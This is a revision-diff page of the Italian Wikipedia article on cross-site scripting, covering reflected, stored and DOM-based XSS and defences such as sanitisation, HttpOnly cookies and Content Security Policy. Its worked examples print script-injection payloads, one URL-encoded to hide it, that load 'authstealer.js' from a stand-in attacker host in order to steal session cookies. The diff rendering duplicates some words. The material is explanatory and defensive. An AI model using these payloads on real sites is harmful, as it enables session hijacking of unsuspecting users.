Cross-site scripting: differenze tra le versioni

Versione delle 07:59, 22 mag 2016

Versione delle 17:58, 23 mag 2016

Riga 7:

La sicurezza nel web dipende da una varietà di meccanismi incluso il concetto di fiducia noto come [[Same origin policy]]. Questo afferma in sostanza che se al contenuto del primo sito viene concessa l’autorizzazione di accedere alle risorse di un sistema, allora qualsiasi contenuto da quel sito condividerà queste autorizzazioni, mentre il contenuto di un altro sito deve avere delle autorizzazioni a parte.

Gli attacchi Cross-site scripting usano vulnerabilità note delle applicazioni web, nei loro server o dei plugin su cui si basano. Sfruttando una di queste vulnerabilità, gli aggressori iniettano contenuto malevolo nel contenuto che fornisce il sito compromesso. Quando il contenuto arriva nel [[Browser|web browser]] lato client risulta inviato dalla fonte attendibile, perciò opera sotto le autorizzazioni concesse a quel sistema. Trovando il modo di iniettare script malevoli, l’utente malintenzionato può ottenere privilegi di accesso al contenuto di pagine sensibili, ai cookie di sessione e a una varietà da altre informazioni gestite dal browser per conto dell’utente.

Gli ingegneri della sicurezza di Microsoft hanno introdotto il termine "cross-site scripting" nel gennaio del 2000.L'espressione "cross-site scripting" originariamente si riferiva unicamente ad attacchi basati sull'utilizzo di frammenti di codice [[JavaScript]] inseriti all'interno di chiamate a pagine web dinamiche poste su un web-server (tecnica facente parte dei metodi di [[code injection]]) in modo che il server remoto eseguisse operazioni diverse da quelle previste originariamente dall'applicativo web. Tale definizione, gradualmente, si è estesa comprendendo anche altre modalità di "iniezione di codice" basate non solo su [[JavaScript]] ma anche su [[ActiveX]], [[VBScript]], [[Adobe Flash|Flash]], o anche puro [[HTML]]. Ciò ha generato una certa confusione nella terminologia riferita alla [[sicurezza informatica]]: il termine, infatti, ricomprende oggi tutto un insieme di tecniche di attacco e non esclusivamente quella basata su manipolazione di codice JavaScript.<ref name="Grossman">{{Cita web|autore=Grossman, Jeremiah|titolo= The origins of Cross-Site Scripting (XSS)|url= http://jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html |data=30 luglio 2006|accesso=15 settembre 2008}}</ref>

Riga 18:

=== Reflected (non-persistent) ===

Le vulnerabilità cross-site scripting di tipo reflected sono sicuramente le più comuni. E’È possibile sfruttarle quando i dati forniti dall’utente (di solito tramite form HTML) sono usati immediatamente dallo scripts lato server per costruire le pagine risultanti senza controllare la correttezza della richiesta. 

Dato che i documenti HTML hanno uno struttura piatta in cui sono mescolate istruzioni di controllo, di formattazione e di contenuto effettivo, se tutti i dati forniti dall’utente non validati sono inclusi nella pagina risultante senza un’adeguata codifica HTML, questo può portare a iniezione di codice di markup<ref>{{Cita libro|autore=Paco Hope, Ben Walther|titolo=Web Security Testing Cookbook|anno=2008|editore=O'Reilly Media|p=128|ISBN=978-0-596-51483-9}}</ref> . Un esempio classico di un potenziale vettore è il motore di ricerca del sito: se si cerca una stringa, in genere questa verrà visualizzata di nuovo nella pagina dei risultati per indicare cosa si è cercato. Se questa risposta non evita o rigetta i caratteri di controllo HTML si consegue che è vulnerabile ad attacchi cross-site scripting.<ref>{{Cita libro|autore=Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov|titolo=XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract)|anno=2007|editore=Syngress|p=70, 156|ISBN=1-59749-154-3}}</ref>

Riga 40:

Storicamente le vulnerabilità XSS sono state trovate in applicazioni che svolgevano tutto il processamento dei dati lato server. L’input dell’utente (tra cui un vettore XSS) sarebbe stato inviato al server per poi essere rimandato indietro come una pagina web. La necessità di migliorare la user experience ha dato popolarità ad applicazioni che avevano una logica di presentazione (scritta in [[JavaScript]]) che inviava i dati, su richiesta, al server usando [[AJAX]].

Mentre il codice JavascriptJavaScript processa anche gli input dell’utente e li visualizza nella pagina web, la nuova sottoclasse di attacchi XSS di tipo reflected ha iniziato ad apparire ed è stata chiamata [[Document Object Model|DOM]]-based cross-site scripting. Negli attacchi XSS DOM-based, i dati malevoli non sono toccati dal server web, piuttosto, sono riflessi dal codice JavascriptJavaScript interamente sul lato client.<ref>{{Cita web|url=https://www.owasp.org/index.php/DOM_Based_XSS|titolo=DOM Based XSS - OWASP|sito=www.owasp.org|accesso=21 maggio 2016}}</ref>

Un esempio di vulnerabilità XSS DOM-based è un bug trovato nel 2011 in una serie di plugin [[JQuery]]<ref>{{Cita web|url=http://bugs.jquery.com/ticket/9521|titolo=#9521 (XSS with $(___location.hash) and $(#<tag>) is needed?) – jQuery - Bug Tracker|sito=bugs.jquery.com|accesso=21 maggio 2016}}</ref>. Le strategie di prevenzione per gli attacchi XSS DOM-based includono misure molto simili alle strategie tradizionali di prevenzione XSS, ma implementante in codice [[JavaScript]] e incluse nelle pagine<ref>{{Cita web|url=https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet|titolo=DOM based XSS Prevention Cheat Sheet - OWASP|sito=www.owasp.org|accesso=21 maggio 2016}}</ref>. Alcuni framework JavascriptJavaScript hanno creato contromisure contro questi e altri tipi di attacchi — ad esempio [[AngularJS|Angular.js]]<ref>{{Cita web|url=http://docs.angularjs.org/api/ng.$sce|titolo=AngularJS|sito=docs.angularjs.org|accesso=21 maggio 2016}}</ref>.

== Un esempio di attacco ==

Riga 59:

##Crea l’URL <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli<script%20src="<nowiki>http://mallorysevilsite.com/authstealer.js</nowiki>"><nowiki></script></nowiki>'''</code> . Sceglie di convertire i caratteri ASCII in esadecimale, ad esempio <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E'''</code> in modo che eventuali lettori umani non possano immediatamente decifrare l’URL dannoso.

##Invia una mail ad alcuni ignari membri del sito di Bob, in cui scrive: “Controlla alcuni simpatici cuccioli”

#Alice riceve la mail, dato che ama i cuccioli apre il link. Andrà quindi sul sito di Bob per la ricerca, non trovando nulla visualizzerà “Cuccioli non trovato”, ma lo script di Mallory, authstealer.js, eseguirà , invisibile sullo schermo, scatenando l’attacco XSS.

#Il programma authstealer.js esegue nel browser di Alice come se fosse stato inviato dal sito di Bob. Prende una copia del cookie di autenticazione di Alice e lo invia al server di Mallory, dove Mallory lo recupererà.

#Mallory adesso inserisce il cookie di autenticazione di Alice nel suo browser come se fosse il proprio. Va poi sul sito di Bob, adesso è autenticato come Alice.

Riga 77:

# Mallory osserva che il sito di Bob contiene una vulnerabilità XSS. Se si va nella sezione News e si posta un commento, verrà visualizzato ciò che è stato digitato. Ma se il testo del commento contiene dei tag HTML i tag verranno visualizzati così come sono. Lo stesso accadrà per eventuali tag di script.

# Mallory legge l’articolo nella sezione News e scrive in un commento. Nel commento inserisce questo testo: <code>Io amo i cuccioli di questa storia. Sono così carini! <script src="http://mallorysevilsite.com/authstealer.js"></code>,

# Quando Alice (o chiunque altro utente) carica la pagina con il commento, lo script di Mallory viene eseguito, ruba il cookie di sessione di Alice e lo invia al server segreto di Mallory<ref name="thegeekstuff.com">{{Cita web|url=http://www.thegeekstuff.com/2012/02/xss-attack-examples/|titolo=XSS Attack Examples (Cross-Site Scripting Attacks)|sito=www.thegeekstuff.com|accesso=21 maggio 2016}}</ref>.

# Mallory può quindi sfruttare la sessione di Alice e usare il suo account fino a una eventuale invalidazione del cookie<ref name="thegeekstuff.com"/><ref>{{Cita web|url=http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html|titolo=The top 10 reasons Web sites get hacked|cognome=Brodkin|nome=Jon|sito=Network World|accesso=21 maggio 2016}}</ref><ref>{{Cita web|url=http://www.thegeekstuff.com/2012/02/xss-attack-examples/|titolo=XSS Attack Examples (Cross-Site Scripting Attacks)|sito=www.thegeekstuff.com|accesso=21 maggio 2016}}</ref>.

Il software del sito di Bob avrebbe potuto analizzare i commenti nella sezione notizie e rimuovere o correggere eventuali script, ma non l’ha fatto, in questo risiede il bug di sicurezza.

Riga 86:

=== Convalidare in modo sicuro l’input non attendibile ===

Molte operazioni di particolari applicazioni web (forum, webmail, ecc.) permettono agli utenti di utilizzare un sottoinsieme limitato di markup HTML. Quando si accetta l’input HTML da parte degli utenti , ad esempio <nowiki><b>molto<b/></nowiki> largo, la codifica in uscita , come <nowiki>&</nowiki>lt;b<nowiki>&</nowiki>gt;molto<nowiki>&</nowiki>lt;/b<nowiki>&</nowiki>gt; largo, non sarà sufficiente dal momento che deve essere reso come HTML dal browser.  Fermare un attacco XSS quando si accettano input HTML dall'utente, è molto complesso in questa circostanza. L’input HTML non attendibile deve essere eseguito attraverso un HTML sanitization engine per garantire che non contenga codice XSS.

=== Sicurezza dei cookie ===

Oltre al filtraggio dei contenuti, sono comunemente usati altri metodi per mitigare il cross-site scripting.

Un esempio è l’uso di controlli di sicurezza aggiuntivi durante la manipolazione della sessione basata sui cookie. Molte applicazioni web si basano sui [[cookie]] di sessione per gestire l’autenticazione tra le diverse richieste HTTP, e dato che gli script lato client hanno generalmente accesso a questo cookie, semplici XSS possono rubarli<ref>{{Cita web|url=http://www.ibm.com/developerworks/ibm/library/wa-secxss/|titolo=Prevent a cross-site scripting attack|sito=www.ibm.com|data=3 febbraio 2004|lingua=en|accesso=21 maggio 2016}}</ref>. Per mitigare questa particolare minaccia, molte applicazioni web legano il cookie di sessione all’indirizzo IP dell’utente che ha ottenuto l’accesso in origine, quindi permette solo a tale IP di utilizzare il cookie<ref name="modsecurity.org">{{Cita web|url=http://www.modsecurity.org/projects/modsecurity/apache/feature_universal_pdf_xss.html|titolo=ModSecurity: Open Source Web Application Firewall|sito=www.modsecurity.org|accesso=21 maggio 2016}}</ref>. Questo è efficiente nella maggior parte dei casi ma ovviamente non funziona in situazioni in cui un attaccante si trova dietro lo stesso [[Network address translation|NATed]] indirizzo IP o lo stesso [[Proxy|web proxy]] della vittima, o la vittima sta cambiando il proprio IP mobile<ref>{{Cita web|urlname=http://www."modsecurity.org"/projects/modsecurity/apache/feature_universal_pdf_xss.html|titolo=ModSecurity: Open Source Web Application Firewall|sito=www.modsecurity.org|accesso=21 maggio 2016}}</ref>.

Un’altraUn'altra soluzione è presente in [[Internet Explorer]] (dalla versione 6), [[Mozilla Firefox|Firefox]] (dalla versione 2.0.0.5), [[Safari (browser)|Safari]] (dalla versione 4), [[Opera (browser)|Opera]] (dalla versione 9.5) e [[Google Chrome]]; è il flag ''HttpOnly'' che consente a un server web di settare un cookie non accessibile dallo script lato client. Se usata, la funzione può prevenire completamente il furto di cookie ma non gli attacchi all'interno del browser<ref>{{Cita web|url=http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php|titolo=Ajax and Mashup Security|autore=OpenAjax Alliance|data=|accesso=}}</ref>.

=== Disabilitare gli script ===

Mentre le applicazioni [[web 2.0]] e [[AJAX|Ajax]] favoriscono l’uso di JavascriptJavaScript<ref>{{Cita web|url=http://oreilly.com/web2/archive/what-is-web-20.html|titolo=What Is Web 2.0|sito=oreilly.com|accesso=21 maggio 2016}}</ref>, alcune applicazioni web sono scritte per consentire il funzionamento senza la necessità di qualsiasi script lato client<ref>{{Cita libro|nome=Frank|cognome=Zammetti|titolo=Practical JavaScript, DOM Scripting and Ajax Projects|url=http://www.amazon.com/gp/reader/1590598164/|accesso=21 maggio 2016|edizione=2007 edition|data=11 aprile 2007|editore=Apress|lingua=en|ISBN=978-1-59059-816-0}}</ref>. Questo permette agli utenti, se lo desiderano, di disattivare qualsiasi script nei loro browser prima di utilizzare l’applicazione. In questo modo, gli script lato client, anche potenzialmente dannosi, potrebbero essere inseriti senza caratteri di escape in una pagina e gli utenti non sarebbero suscettibili di attacchi XSS.

Alcuni browser o plugin per browser possono essere configurati per disattivare gli script lato client in base al dominio. Questo approccio ha valore limitato se gli script sono abilitati di default, dato che verranno bloccati quando l’utente li avrà riconosciuti come pericolosi, ma ormai sarà troppo tardi. Una funzionalità che blocca tutti gli script e inclusioni esterne di default, e che quindi permette agli utenti di abilitare in base al dominio, è più efficiente. Questo è stato possibile per un lungo periodo su Internet Explorer (dalla versione 4) impostando le cosiddette “zone di sicurezza”<ref>{{Cita web|url=http://support.microsoft.com/kb/174360/en-us|titolo=Security zones: adding or removing websites - Windows Help|sito=windows.microsoft.com|accesso=21 maggio 2016}}</ref> e in Opera (dalla versione 9) usando le “preferenze specifiche del sito”. La soluzione per Firefox e altri [[Gecko]]-based browser è l’add-on open source NoScript che oltre ad abilitare gli script per dominio, fornisce una certa protezione XSS anche quando gli script sono abilitati<ref>{{Cita web|url=http://db.tidbits.com/article/9511|titolo=Should Mac Users Run Antivirus Software?|sito=db.tidbits.com|accesso=21 maggio 2016}}</ref>.

Riga 103:

=== Tecnologie di difesa emergenti ===

Ci sono tre classi di difesa da XSS che stanno emergendo.  Queste includono Content Security Policy<ref>{{Cita web|url=http://www.w3.org/TR/CSP/|titolo=Content Security Policy Level 2|sito=www.w3.org|accesso=21 maggio 2016}}</ref>, JavascriptJavaScript sandbox tools, e auto-escaping templates. Questi meccanismi sono ancora in evoluzione, ma promettono un futuro dove gli attacchi XSS saranno fortemente ridotti.

== Servizi di scanning ==